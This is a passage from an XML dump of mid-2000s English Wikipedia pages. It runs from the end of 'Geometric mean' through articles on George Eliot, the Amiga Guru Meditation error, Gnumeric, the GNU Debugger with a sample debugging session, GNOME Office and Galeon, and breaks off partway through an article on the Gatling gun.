For example, suppose you have an investment which earns 10% the first year, 50% the second year, and 30% the third year. What is its average rate of return? It is not the arithmetic mean, because what these numbers mean is that on the first year your investment was multiplied (not added to) by 1.10, on the second year it was multiplied by 1.50, and the third year it was multiplied by 1.30. The relevant quantity is the geometric mean of these three numbers. [http://www.math.toronto.edu/mathnet/questionCorner/geomean.html Source].

== See also ==

* [[Arithmetic mean]]
* [[Arithmetic-geometric mean]]
* [[Average]]
* [[Generalized mean]]
* [[Geometric standard deviation]]
* [[Harmonic mean]]
* [[Hyperbolic coordinates]]
* [[Inequality of arithmetic and geometric means]]
* [[Log-normal distribution]]
* [[Muirhead's inequality]]
* [[Product (mathematics) | Product]]
* [[Weighted geometric mean]]

== External links ==

* [http://www.sengpielaudio.com/calculator-geommean.htm Calculation of the geometric mean of two numbers in comparison to the arithmetic solution]
* [http://www.cut-the-knot.org/Generalization/means.shtml Arithmetic and geometric means] at [[cut-the-knot]]
* [http://www.math.toronto.edu/mathnet/questionCorner/geomean.html When to use the geometric mean]
* [http://mathworld.wolfram.com/GeometricMean.html Geometric Mean on MathWorld]

[[Category:Means]]

[[cs:Geometrický průměr]]
[[de:Mittelwert#Geometrisches Mittel]]
[[es:Media geométrica]]
[[fr:Moyenne géométrique]]
[[hr:Geometrijska sredina]]
[[lt:Geometrinis vidurkis]]
[[nl:Meetkundig gemiddelde]]
[[pl:Średnia geometryczna]]
[[pt:Média geométrica]]
[[fi:Geometrinen keskiarvo]]
[[su:Geometric mean]]</text>
    </revision>
  </page>
  <page>
    <title>Good Friday Agreement</title>
    <id>13047</id>
    <revision>
      <id>15910689</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Belfast Agreement]]
</text>
    </revision>
  </page>
  <page>
    <title>Gent</title>
    <id>13048</id>
    <revision>
      <id>27801423</id>
      <timestamp>2005-11-09T07:59:46Z</timestamp>
      <contributor>
        <username>Edcolins</username>
        <id>51336</id>
      </contributor>
      <minor />
      <comment>lk, reworded</comment>
      <text xml:space="preserve">'''Gent''' is
* a [[morpheme]], see [[contingent]], [[agent]],  
* short for [[gentleman]]
* [[Dutch language|Dutch]] spelling for the [[Belgium|Belgian]] city of [[Ghent]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>George Eliot</title>
    <id>13049</id>
    <revision>
      <id>40138461</id>
      <timestamp>2006-02-18T12:09:15Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">[[Image:George Eliot 3.jpg|thumb|George Eliot]]
'''Mary Ann Evans''', better known by the [[pen name]] '''George Eliot''' ([[22 November]] [[1819]] - [[22 December]] [[1880]]), was an [[England|English]] [[novelist]]. She was one of the leading writers of the [[Victorian era]], whose novels, largely set in provincial England, are well known for their [[realism (arts)|realism]] and psychological perspicacity.

She used a male pen name, she said, to ensure that her works were taken seriously. Female authors published freely under their own names, but Eliot wanted to ensure that she was not seen as merely a writer of romances.  An additional factor may have been a desire to shield her private life from public scrutiny and to prevent scandals attending her relationship with the married [[George Henry Lewes]].

==Biography==
Mary Ann Evans was the daughter of an estate agent in [[Warwickshire]], born on a farm on the [[Arbury Hall]] Estate near [[Nuneaton]]. She was brought up with a narrowly [[low church]] religion.  Charles Bray, a [[Coventry]] manufacturer, brought her into contact with more liberal theologies. She translated [[David Strauss|Strauss]]' ''Life of Jesus'' ([[1846]]) and began contributing to the ''[[Westminster Review]]'' in [[1850]] and became its assistant editor in [[1851]].  The ''Westminster Review'' had been founded by [[John Stuart Mill]] and [[Jeremy Bentham]] and was the leading journal for philosophical radicals. In [[1854]], she published a translation of [[Feuerbach]]'s ''Essence of Christianity'', and it was at that time that she began to live with [[George Henry Lewes]] in an extramarital cohabitation.

In [[1857]], she published &quot;Amos Barton,&quot; the first of the &quot;Scenes of Clerical Life&quot; in ''[[Blackwood's Magazine]]''. The collected &quot;Scenes&quot; were well received and launched Evans on a novelistic career.  Evans' cohabitation with Lewes was a scandalous matter. Lewes' wife refused to be divorced, and so he remained married to her in name only, while he made house solely with Evans.
[[Image:4 Cheyne Walk GE ILN 1881.jpg|thumb|175px|George Eliot died at 4 [[Cheyne Walk]], [[Chelsea]].]]
Two years after the death of Lewes, on [[May 6]], [[1880]] she married a friend, [[John Cross]], an [[United States|American]] banker, who was 20 years her junior. They honeymooned in [[Venice]] and, allegedly, Cross jumped from their hotel balcony into the Grand Canal on their [[wedding night]]; he survived. She died on 22 December 1880 at the age of 61 in [[Chelsea]] of a [[kidney]] [[ailment]] and was [[interred]] in [[Highgate Cemetery]] (East), [[Highgate]], [[London]].

Friend and author [[Henry James]] once wrote of her:
&lt;blockquote&gt;She had a low forehead, a dull grey eye, a vast pendulous nose, a huge mouth full of uneven teeth and a chin and jawbone ''qui n'en finissent pas''...  Now in this vast ugliness resides a most powerful beauty which, in a very few minutes steals forth and charms the mind, so that you end, as I ended, in falling in love with her.  Yes behold me in love with this great horse-faced bluestocking.&lt;/blockquote&gt;

==Select Works==
* ''Scenes Of a Clerical Life'', 1858
* ''[[Adam Bede]]'', 1859 
* ''[[The Mill on the Floss]]'', 1860
* ''[[Silas Marner]]'', 1861 
* ''[[Felix Holt, the Radical]]'', 1866
* ''[[Middlemarch]]'', 1871-72
* ''[[The Legend of Jubal]]'', 1874
* ''[[Daniel Deronda]]'', 1876

==Literary assessment==

Eliot's most famous work, ''[[Middlemarch]]'', is a turning point in the history of the novel.  Making masterful use of a [[counterpoint]]ed plot, Eliot presents the stories of a number of denizens of a small English town on the eve of the [[Reform Bill]] of [[1832]].  The main characters, Dorothea Brooke and Tertius Lydgate, each long for exceptional lives but are powerfully constrained by their own unrealistic expectations as well as conservative society. The novel is notable for its deep psychological insight and sophisticated character portraits.  

Throughout her career, Eliot wrote with a politically astute pen.  From ''[[Adam Bede]]'' to ''[[The Mill on the Floss]]'' and the frequently-read ''[[Silas Marner]]'', Eliot presented the cases of social outsiders and small town persecution of that which they consider alien.  No author since [[Jane Austen]] had been as sharp in pointing out the hypocrisy of the country squires and socially conscious.  ''[[Felix Holt, the Radical]]'' and ''[[The Legend of Jubal]]'' were overtly political novels, and political crisis is at the heart of ''[[Middlemarch]]''.  By the time of ''[[Daniel Deronda]]'', Eliot's sales were falling off, and she faded from public view to some degree.

As an author, Eliot was not only very successful in sales, but she was, and remains, one of the most widely praised for her style and clarity of thought.  Eliot's sentence structures are clear, patient, and well balanced, and she mixes plain statement and unsettling irony with rare poise.  Her commentaries are never without sympathy for the characters, and she never stoops to being arch or flip with the emotions in her stories.  Villains, heroines and bystanders are all presented with awareness and full motivation.

==Select bibliography==

===Bibliography===

* Haight, Gordon S., ''George Eliot: A Biography'', Oxford, Oxford University Press, 1968. 

* Haight, Gordon S., ed., ''George Eliot: Letters'', New Haven, Connecticut, Yale University Press, 1954. 

* Uglow, Jennifer, ''George Eliot'', London, Virago, 1987.

===Context and Background===

* Beer, Gillian, ''Darwin's Plots: Evolutionary Narrative in Darwin, George Eliot and Nineteenth-Century Fiction'', London, Routledge &amp; Kegan Paul, 1983. 

* Beer, Gillian, ''George Eliot'', Brighton, Harvester, 1986. 

* Chapman, Raymond, ''The Sense of the Past in Victorian Literature'', London, CroomHelm, 1986. 

* Cosslett, Tess,  ''The 'Scientific Movement' and Victorian Literature'', Brighton, Harvester, 1982. 

* Gilbert, Sandra M., and Gubar, Susan,  ''The Madwoman in the Attic:  The Woman Writer and the Nineteenth-Century Literary Imagination'', New Haven, Connecticut, Yale University Press, 1979. 

* Jay,  Elisabeth,   ''The Religion of the Heart:  Anglican Evangelicalism and the Nineteenth-Century Novel'', Oxford, Oxford University Press, 1979. 

* Pinney, Thomas, ed., ''Essays of George Eliot'', London, Routledge &amp; Kegan Paul, 1963.

* Shuttleworth, Sally, ''George Eliot and Nineteenth-Century Science: The Make-Believe of a Beginning'', Cambridge, Cambridge University Press, 1984. 

* Willey, Basil, ''Nineteenth-Century Studies: Coleridge to Matthew Arnold'', London, Chatto &amp; Windus, 1964. 

* Williams, Raymond, ''The Country and the City'', London, Chatto &amp; Windus, 1973.



===Critical Studies===

* Ashton, Rosemary,'' George Eliot'', Oxford, Oxford University Press, 1983.

* Beaty, Jerome, '''Middlemarch'from Notebook to Novel: A Study of George Eliot's Creative Method'', Champaign, Illinois, University of Illinois, 1960. 

* Carroll, David, ed., ''George Eliot: The Critical Heritage'', London, Routledge &amp; Kegan Paul, 1971.

* [[David Daiches|Daiches, David]], ''George Eliot: Middlemarch'', London, Edward Arnold, 1963. 

* Dentith, Simon, ''George Eliot'', Brighton, Harvester, 1986. 

* Garrett, Peter K., ''The Victorian Multiplot Novel: Studies in Dialogical Form'', New Haven, Connecticut, Yale University Press, 1980.

* Graver, Suzanne, ''George Eliot and Community: A Study in Social Theory and Fictional Form'', Berkeley, California, University of California Press, 1984.

* Harvey, W. J, ''The Art of George Eliot'', London, Chatto &amp; Windus, 1961.

* Kettle, Arnold. ''An Introduction to the English Novel, vol. I'', London, Hutchinson, 1951.

* Leavis, F R''The Great Tradition'', London, Chatto &amp; Windus, 1948.

* Neale, Catherine, ''Middlemarch: Penguin Critical Studies'',London, Penguin, 1989

* Swinden, Patrick, eel., ''George Eliot: Middlemarch'',  London, Macmillan, 1972.

==External links==
{{Wikisource author}}
{{wikiquote }}

*[http://www.victorianweb.org/authors/eliot/eliotov.html Victorian web biography]
*[http://www.litencyc.com/php/speople.php?rec=true&amp;UID=1408 Literary Encyclopedia biography]
* [http://www.kirjasto.sci.fi/gelliot.htm Biography]
*[http://35.1911encyclopedia.org/E/EL/ELIOT_GEORGE.htm George Eliot in LoveToKnow 1911 Encyclopdia]
*{{Gutenberg author|id=George_Eliot|name=George Eliot}}
* [http://www.gutenberg.org/etext/17172 The Ethics of George Eliot's Works] by John Crombie Brown (First published in 1879)
*[http://www.litquotes.com/quote_author_resp.php?AName=George%20Eliot George Eliot Quotations]
*[http://www.shvoong.com/books/classic-literature/113633-mill-the-floss/ A Summary of &quot;The Mill On The Floss&quot;]

[[Category:1819 births|Eliot, George]]
[[Category:1880 deaths|Eliot, George]]
[[Category:English essayists|Eliot, George]]
[[Category:English novelists|Eliot, George]]
[[Category:Natives of Warwickshire|Eliot, George]]
[[Category:Women writers|Eliot, George]]
[[Category:Women of the Victorian era|Eliot, George]]
[[Category:Alumni of Royal Holloway, University of London|Eliot, George]]
[[Category:Pseudonyms|Eliot, George]]

[[da:George Eliot]]
[[de:George Eliot]]
[[eo:George ELIOT]]
[[fr:George Eliot]]
[[he:ג'ורג' אליוט]]
[[nl:George Eliot]]
[[ja:ジョージ・エリオット]]
[[pl:George Eliot]]
[[pt:George Eliot]]
[[sr:Џорџ Елиот]]
[[sv:George Eliot]]
[[zh:乔治·艾略特]]</text>
    </revision>
  </page>
  <page>
    <title>Guru Meditation</title>
    <id>13050</id>
    <revision>
      <id>42101074</id>
      <timestamp>2006-03-03T21:05:02Z</timestamp>
      <contributor>
        <username>Nandesuka</username>
        <id>221935</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/165.247.175.83|165.247.175.83]] ([[User talk:165.247.175.83|talk]]) to last version by GrizzlyX</comment>
      <text xml:space="preserve">'''Guru Meditation''' is the name of the error that occurred on early versions of the [[Amiga]] [[home computer]]s when they [[crash (computing)|crashed]]. It is analogous to the &quot;screens of death&quot; in other [[operating system]]s.

== Description ==
When a Guru Meditation is displayed, the options are to reboot by pressing the left mouse button, or to invoke ROMWack by pressing the right mouse button. (ROMWack is a minimalist debugger built into the operating system which is accessible by connecting a 9600 bit/s terminal to the [[serial port]]).

[[Image:Guru_meditation.gif|frame|center|A simulation of the Guru Meditation error message]]

The alert itself appears as a black rectangular box located in the upper portion of the screen. Its border and text is red for a normal Guru Meditation, or green/yellow for a [[Recoverable Alert]], another kind of Guru Meditation. The screen goes black, and the power and disk-activity [[LED]]s may blink immediately before the alert appears. In [[AmigaOS]] 1.x, programmed in [[Read-only memory|ROM]]s known as Kickstart 1.1, 1.2 and 1.3, the errors are always red. In AmigaOS 2.x and 3.x, recoverable alerts are yellow, except for some very early versions of 2.x where they were green. Dead-end alerts are red in all OS versions.

This error is sometimes referred to colloquially as a &quot;trip to [[India]]&quot; or just &quot;alert&quot;.

The alert occurred when there was a fatal problem with the system. If the system had no means of recovery, it could display the alert, even in systems with numerous critical flaws. In extreme cases, the alert could even be displayed if the system's memory was completely exhausted.

The error is displayed as two fields, separated by a period.
The first field is either the [[Motorola_68000#Interrupts|Motorola 68000 exception]] number that occurred or an internal error identifier
(such as an 'Out of Memory' code). The second can be the address of a ''Task'' structure, a special error code, or a meaningless value. It is never the address of the code that caused the error.

The text of the alert messages was completely baffling to most users. Only highly technically adept Amiga users would know, for example, that exception 3 was an address error, and meant the program was accessing a word on an unaligned boundary.  Users without this specialized knowledge would have no recourse but to look for a &quot;Guru&quot; or to simply reboot the machine and hope for the best.

== Origins ==
The term comes from the early days of the [[Amiga|Amiga corporation]], and is partly an in-house joke. One of the early products produced by Amiga was the ''[[joyboard]]'', a game controller much like a [[joystick]] but supposed to be operated by one's feet. It was sold with the skiing game ''Mogul Maniac'' for the [[Atari 2600]] game computer. When the Amiga OS crashed, the programmer working with it would sit down cross-legged on the joyboard, trying to keep it in balance thus resembling an Indian [[guru]].

The Guru Meditation error was removed from subsequent versions of the Amiga ROM (Kickstart), but some users chose to patch it back in.

== Trivia ==
The blinking border of the original guru meditation number
was created by writing the border in black 6,809 times and then
writing it in red 6,809 times.  This was in honor of the [[Motorola 6809]], 
a popular CPU that was a favorite of the system designers.  

== Later versions of AmigaOS ==

Since version 4.0 (Beta) of the OS, many alerts are replaced by an error handler known as
&quot;The Grim Reaper&quot;. The Grim Reaper displays the task which caused an error and the
nature of the error (illegal memory access etc.), whereupon it presents the user with
several options such as suspending/killing the task, displaying more information such
as a register dump or attaching a debugger (gdb).

== See also ==
*[[Black screen of death]]
*[[Blue Screen of Death]]

== External links ==
*[http://www.atariage.com/controller_page.html?SystemID=2600&amp;ControllerID=11 Joyboard Controller]
*[http://www.guru-meditation.net Guru Meditation] (the introduction page contains an image of the effect)

[[Category:Commodore Amiga]]
[[Category:Screens of death]]

[[de:Guru-Meditation]]
[[fr:Guru Meditation]]
[[fi:Guru Meditation]]
[[sv:Guru meditation]]</text>
    </revision>
  </page>
  <page>
    <title>Gnumeric</title>
    <id>13051</id>
    <revision>
      <id>41266694</id>
      <timestamp>2006-02-26T04:23:15Z</timestamp>
      <contributor>
        <ip>67.68.231.48</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Software|
 name = Gnumeric
|screenshot = [[Image:Gnumeric 1.4.2 Ubuntu.png|250px]]
|caption = Gnumeric 1.4.2 under [[Ubuntu Linux|Ubuntu]]
|developer = GNOME Office team
|latest_release_version = 1.6.2
|latest_release_date = [[February]], [[2006]]
|operating_system = [[Cross-platform]]
|genre = [[Spreadsheet]]
|license = [[GNU General Public License|GPL]]
|website = [http://gnome.org/projects/gnumeric/ gnome.org/projects/gnumeric/]
}}

'''Gnumeric''' is a [[free software|free]] [[spreadsheet]] program that is part of the [[GNOME]] desktop. It is intended to be a free replacement for [[proprietary software|proprietary]] spreadsheet programs such as [[Microsoft Excel]], which it broadly and openly emulates.  Gnumeric was created and developed by [[Miguel de Icaza]], but he has since moved on to other projects.  Gnumeric is currently maintained by [[Jody Goldberg]][http://www.gnome.org/~jody/blog].

Gnumeric has the ability to import and export data in several file formats, including Excel, [[Open Office]], [[XML]], [[HTML]], [[Applix]], [[Quattro Pro]], [[PlanPerfect]], [[Sylk]], [[DIF]] ([[Data Interchange Format]]), [[Oleo (spreadsheet)|Oleo]], [[SC (spreadsheet)|SC]], [[StarOffice]], and [[Lotus 1-2-3]]. Its native format is XML, compressed with [[gzip]].

Other popular spreadsheet programs are limited to 256 columns and 65,536 rows, but Gnumeric can be [[Compiler|compiled]] from source code that allow users to change these limits (as [[RAM]] permits).

Gnumeric includes all the spreadsheet functions of the North American version of [[Microsoft Excel]] and many more functions unique to Gnumeric. [[Pivot table]]s are not yet supported but are planned for future versions.  

The Gnumeric developers pride themselves on the accuracy of their software; Gnumeric has established a niche among people using it for [[statistical analysis]] and other [[scientific]] tasks. For improving the accuracy of Gnumeric the developers are cooperating with the [[R programming language|R Project]].

==Versions==
[[Gnumeric]] is released under the terms of the [[GNU General Public License]] (GPL). 

*Gnumeric versions up to and including version 1.0.x use [[GTK+]]1.  Gnumeric version 1.0 was released [[December 31]] [[2001]]  

*Gnumeric versions from 1.1 up to and including version 1.4 use GTK+2.  
*Gnumeric version 1.4 was the first version available for [[Microsoft Windows]]

*Gnumeric version 1.6 was also available for the [[ARM architecture]], used in handheld device such as Nokia770[http://etrunko.blogspot.com/2005/12/gnumeric-package-for-nokia-770.html].

== See also ==
*[[Microsoft_Excel#Excel_file_format_information|Excel file format information]]

== External links ==
*[http://www.gnome.org/projects/gnumeric/ Gnumeric homepage]
*[http://www.gnome.org/projects/gnumeric/doc/index.html Gnumeric manual]
*GNOMEDesktop.org: [http://gnomedesktop.org/taxonomy/term/39 Gnumeric news feed]

===Study and Articles===
*[http://www.csdassn.org/reportdetail.cfm?ID=508 Fixing Statistical Errors in Spreadsheet Software: The Cases of Gnumeric and Excel]
*[http://desktoplinux.com/articles/AT3642020036.html DesktopLinux.com interviews Gnumeric project leader Jody Goldberg]
*[http://software.newsforge.com/article.pl?sid=05/05/05/1538249 FOSS spreadsheet hands-on comparison] by [http://members.axion.net/~bbyfield/ Bruce Byfield]

[[Category:Domain-specific programming languages]]
[[Category:Numerical programming languages]]
[[Category:Free spreadsheets]]
[[Category:GNOME]]

[[cs:Gnumeric]]
[[de:Gnumeric]]
[[es:Gnumeric]]
[[fr:Gnumeric]]
[[nl:Gnumeric]]
[[ja:Gnumeric]]
[[pl:Gnumeric]]
[[sv:Gnumeric]]</text>
    </revision>
  </page>
  <page>
    <title>GNU Debugger</title>
    <id>13052</id>
    <revision>
      <id>41431624</id>
      <timestamp>2006-02-27T07:10:53Z</timestamp>
      <contributor>
        <username>Adrian</username>
        <id>103917</id>
      </contributor>
      <minor />
      <comment>Disambiguating from [[John Gilmore]] to [[John Gilmore (advocate)]]</comment>
      <text xml:space="preserve">The '''GNU Debugger''', usually called just '''GDB''', is the standard [[debugger]] for the [[GNU]] software system. It is a portable debugger that runs on many [[Unix-like]] systems and works for many [[programming language]]s, including [[C programming language|C]], [[C++]], and [[Fortran programming language|FORTRAN]].

==History==
Originally written by [[Richard Stallman]] in [[1988]], GDB is [[free software]] released under the [[GNU General Public License]].

From 1990 to 1993 it was maintained by [[John Gilmore (advocate)|John Gilmore]] while he worked for [[Cygnus Solutions]].

==Technical details==
===Features===
GDB offers extensive facilities for tracing and altering the execution of [[computer program]]s. The user can monitor and modify the values of programs' internal [[variable]]s, and even call [[function (programming)|functions]] independently of the program's normal behavior.

GDB target processors (as of [[2003]]) include:
[[DEC Alpha|Alpha]], [[ARM architecture|ARM]], [[Hitachi H8|H8/300]], [[System/370]], [[System 390]], [[X86]] and [[X86-64]], [[Itanium|IA-64]] &quot;Itanium&quot;, [[Motorola 68000]], [[MIPS architecture|MIPS]],[[PA-RISC]], [[PowerPC]], [[SuperH]], [[SPARC]], [[VAX]].

Lesser-known target processors supported in the standard release have included [[A29K]], [[Advanced RISC Computing|ARC]], [[AVR]], [[CRIS]], [[D10V]], [[D30V]], [[FR-30]], [[FR-V]], [[Intel i960]], [[M32R]], [[Motorola 68HC11|68HC11]], [[Motorola 88000]], [[MCORE]], [[MN10200]], [[MN10300]], [[320xx microprocessor|NS32K]], [[Stormy16]], [[V850]], [[VAX]], and [[Zilog Z8000|Z8000]].  (Newer releases will likely not include some of these.)

GDB has compiled-in [[Instruction Set Simulator|simulators]] for target processors even for lesser-known target processors such like M32R or V850.

GDB offers a 'remote' mode often used when debugging embedded systems. Remote operation is when GDB runs on one machine and the program being debugged runs on another. GDB can communicate to the remote 'stub' which understands GDB protocol via Serial or TCP/IP.

===Limitations===
The debugger does not contain its own [[graphical user interface]], and defaults to a [[command-line interface]]. Several front-ends have been built for it, such as [[Data Display Debugger|DDD]], [[GDBtk]]/[[Insight]] and the &quot;GUD mode&quot; in [[Emacs]]. These offer facilities similar to debuggers found in [[integrated development environment]]s.

Some other debugging tools have been designed to work with GDB, such as [[memory leak]] detectors.

== An example session ==
This is an example GDB session on the example program in [[Stack trace]]:

&lt;pre&gt;
GNU gdb Red Hat Linux (6.3.0.0-1.21rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type &quot;show copying&quot; to see the conditions.
There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.
This GDB was configured as &quot;i386-redhat-linux-gnu&quot;...Using host libthread_db library &quot;/lib/libthread_db.so.1&quot;.

(gdb) run
Starting program: /home/sam/programming/crash
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0xc11000
This program will demonstrate gdb

Program received signal SIGSEGV, Segmentation fault.
0x08048428 in function_2 (x=24) at crash.c:22
22         return *y;
(gdb) edit
(gdb) shell gcc crash.c -o crash -gstabs+
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close &quot;shared object read from target memory&quot;: File in wrong format
`/home/sam/programming/crash' has changed; re-reading symbols.
Starting program: /home/sam/programming/crash
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0xa3e000
This program will demonstrate gdb
24
Program exited normally.
(gdb) quit
&lt;/pre&gt;

The program is being run.  After the cause of the segmentation fault is found, the program is edited to use the correct behavior.  The corrected program is recompiled with [[GCC]] and then run.

== References ==
* [[Richard Stallman|Richard M. Stallman]], [[Roland Pesch]], [[Stan Shebs]], et al., ''Debugging with GDB'' ([[Free Software Foundation]], 2002) ISBN 1882114884
* [[Norman Matloff]], [[P. J. Salzman]], ''The Art of Debugging with GDB/DDD: For Professionals and Students'' ([[No Starch Press]], 2003) ISBN 159327002X

== External links ==
*[http://www.gnu.org/software/gdb/gdb.html GDB homepage]
*[http://sources.redhat.com/gdb/current/onlinedocs/gdb.html Debugging with GDB]
*[http://sources.redhat.com/gdb/current/onlinedocs/gdbint.html GDB Internals]
*[http://users.actcom.co.il/~choo/lupg/tutorials/debugging/debugging-with-gdb.html A tutorial]

[[Category:Debuggers]]
[[Category:GNU project software|Debugger]]

[[de:GNU Debugger]]
[[eo:GDB]]
[[es:GNU Debugger]]
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[[he:מנפה השגיאות של גנו]]
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    </revision>
  </page>
  <page>
    <title>GNOME Office</title>
    <id>13054</id>
    <revision>
      <id>41148732</id>
      <timestamp>2006-02-25T09:58:11Z</timestamp>
      <contributor>
        <username>Zero0w</username>
        <id>227044</id>
      </contributor>
      <minor />
      <comment>/* Change from Free to Open source office suites */</comment>
      <text xml:space="preserve">'''GNOME Office''' is an [[office suite]] containing:

*[[AbiWord]] [[word processor]]
*[[Gnumeric]] [[spreadsheet]]
*[[GNOME-DB]], software that provides database connectivity.

The integration between the various applications in the suite is rather loose, and therefore many consider GNOME Office to be merely the collection of desktop productivity applications written for the [[GNOME]] environment rather than an office suite in the usual sense. Integration is achieved chiefly through the [[Bonobo (computing)|Bonobo]] component technology. 

GNOME Office is intended to be a competitor to the [[Microsoft Office]] suite. The [[KOffice]] suite was developed earlier, but was not at first [[free software]] according to the strict interpretation of the [[Free Software Foundation]], so the [[GNOME]] desktop was created as a free alternative.

Neither suite is currently competitive with the [[Microsoft]] products in user base, although the feature set of both projects is getting closer to that goal.

There also exists an office suite called [[OpenOffice.org]] which is the free software base used to create [[StarOffice]]. [[Sun Microsystems]] is integrating OpenOffice.org with GNOME with the intention that the applications of OpenOffice.org will become part of GNOME Office.

==See also==
*[[List of office suites]]
*[[Comparison of office suites]]
*[[List of GNOME applications]]

==External links==
*[http://www.gnome.org/gnome-office/ GNOME Office home page]

[[Category:Open source office suites]]
[[Category:GNOME]]

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  </page>
  <page>
    <title>Galeon</title>
    <id>13055</id>
    <revision>
      <id>41354070</id>
      <timestamp>2006-02-26T20:29:23Z</timestamp>
      <contributor>
        <username>Where</username>
        <id>722151</id>
      </contributor>
      <minor />
      <comment>[[Category:Free web browsers]]</comment>
      <text xml:space="preserve">{{Infobox_Software2 &lt;!-- Release version update? Don't edit this page, just click on the version number! --&gt; 
|name = Galeon
|developer = [[GNOME]]
|logo = [[Image:Galeon logo.png|48px|Galeon logo]]
|screenshot = [[Image:MainPage Galeon 1.3.21 2006-02.png|250px|Screenshot of Galeon]]
|caption = A screenshot of Galeon
|operating_system = [[Unix-like]] operating systems
|genre = [[Web browser]]
|license = [[GNU General Public License|GPL]]
|website = [http://galeon.sourceforge.net/ galeon.sourceforge.net]
}}
{{dablink|This page is about a web browser. For the type of [[sailing ship]], see [[Galleon]].}}
'''Galeon''' is a [[web browser]] for [[GNOME]] based on [[Mozilla]]'s [[Gecko (layout engine)|Gecko layout engine]]. Galeon's developer's self-declared mission was to deliver &quot;the web and only the web&quot;.

At the time of Galeon's creation, the most popular web browsers, including [[Netscape (web browser)|Netscape]], [[Mozilla Application Suite|Mozilla]], and [[Internet Explorer]], were large multi-functional programs. This made them slow to start and often impractical due to their high memory usage and processor requirements. Galeon was the first mainstream graphical web browser which specifically focused on the reduction of peripheral functionality. Galeon is also famous for introducing &quot;[[Smart Bookmark]]s&quot;, bookmarks that take an argument and can be used as toolbar buttons with a text field used to enter the value for the argument.

Galeon's initial development team split in [[2002]] due to disagreements about the target audience. This split led to the creation of [[Epiphany (web browser)|Epiphany]], a [[Fork (software)|fork]] of Galeon.  [[Epiphany (web browser)|Epiphany]] has since become the default browser of [[GNOME]]. On [[October 22]], [[2005]], the Galeon developers announced plans to stop development of Galeon in its current form, saying &quot;the current
approach is unsustainable&quot; in the resources required for maintenance. Instead, they hope to develop a set of extensions for Epiphany to provide similar functionality.

Other comparable browsers have appeared, including Mozilla's own [[Mozilla Firefox|Firefox browser]], and the [[K-Meleon]] browser available for [[Microsoft Windows]].

==See also==
*[[List of web browsers]]
*[[Comparison of web browsers]]

==External links==
*[http://galeon.sourceforge.net/ Galeon homepage]
*[http://galeon.sourceforge.net/links/history.php Galeon History homepage]
*[http://gnomedesktop.org/node/2450 The future of Galeon], regarding plans for Epiphany extensions

[[Category:GNOME]]
[[Category:Mozilla]]
[[Category:Linux web browsers]]
[[Category:Mac OS web browsers]]
[[Category:Free web browsers]]
{{GNOME-stub}}

[[cs:Galeon]]
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    </revision>
  </page>
  <page>
    <title>Goedel Escher Bach</title>
    <id>13056</id>
    <revision>
      <id>15910698</id>
      <timestamp>2002-04-07T13:56:20Z</timestamp>
      <contributor>
        <username>Rootbeer</username>
        <id>1297</id>
      </contributor>
      <comment>redirect to Gödel, Escher, Bach</comment>
      <text xml:space="preserve">#REDIRECT [[Gödel, Escher, Bach]]</text>
    </revision>
  </page>
  <page>
    <title>Gatling gun</title>
    <id>13057</id>
    <revision>
      <id>42023081</id>
      <timestamp>2006-03-03T07:30:08Z</timestamp>
      <contributor>
        <username>Cabez</username>
        <id>983677</id>
      </contributor>
      <comment>/* Combat use */</comment>
      <text xml:space="preserve">[[Image:Gatling gun 1865.jpg|thumb|A [[1865]] Gatling gun.]]
The '''Gatling gun''' was the first successful rapid-repeating firearm. It was the first firearm to combine reliability, high firing rate and ease of loading into a single device. It was designed by the American inventor [[Richard Jordan Gatling|Richard J. Gatling]], in [[1861]] and patented on [[May 9]], [[1862]]. In modern usage it typically refers to guns with a similar rotating barrel design.

Depending on how one defines the term, the Gatling gun is not the first &quot;machine gun&quot;, despite frequent references to it as such; machine guns operate entirely on the power of the fired cartridge (&quot;internal power&quot;), while the Gatling relies on a hand crank (&quot;external power&quot;).

==History of the gun==
[[Image:gatling.gif|thumb||Gatling gun illustrated in an [[1885]] encyclopedia in [[Swedish (language)|Swedish]]]]

The Gatling gun was designed in 1861 during the U.S. Civil War.  However, in [[1862]], the U.S. government did not purchase any, for the Gatling guns lacked triggers and were far too heavy to be set up quickly in combat. Even when Dr. Gatling improved the design, it still lacked the desired trigger and weighed an unwieldy 90 lb (41 kg). However, Union General [[Benjamin Butler]] bought twelve and used them successfully on the Petersburg front. During its debut in combat both Union and Confederate soldiers were awestruck by its power and effect. They were only put into limited service late in the war by the Northern army.

The Gatling gun was hand-crank operated with six barrels revolving around a central shaft, based on the [[Puckle Gun]].  Early models had a fibrous matting stuffed in among the barrels which could be soaked with water to cool the barrels down;  this was eliminated in later models as being counterproductive. The ammunition, initially a steel cylinder charged with black powder and primed with a percussion cap (as self-contained brass cartridges had not yet been invented), was gravity-fed into the breech through a hopper or stick magazine on top of the gun. Each barrel had its own firing mechanism.  After 1861, new [[brass]]  cartridges similar to modern cartridges replaced the paper cartridge, but Gatling did not switch to them immediately.

The model of [[1881]] was designed to use the Bruce feed system (U.S. Patents 247,158 and 343,532) that would accept two rows of .45/70 cartridges. While one row was being fed into the gun, the other could be reloaded, thus allowing sustained fire.  The final gun required four operators. By [[1876]] the Gatling gun could fire 1,200 rounds per minute, although 400 was more reasonable.

==Basic design==
[[Image:GatlingGunDrawing.jpg|thumb|Patent drawing for R.J. Gatling's ''Battery Gun'',  [[9 May]] [[1865]].]]

The Gatling gun is a rotary device, originally powered using a crank. A cylinder of ten barrels, spaced equally around the side of the cylinder, rotates around a central axis. Each barrel fires once per revolution at about the same position.

Originally, the Gatling gun was  produced in [[calibre]]s ranging from one inch (25.4&amp;nbsp;mm) down to 0.45 inch (11.43&amp;nbsp;mm).

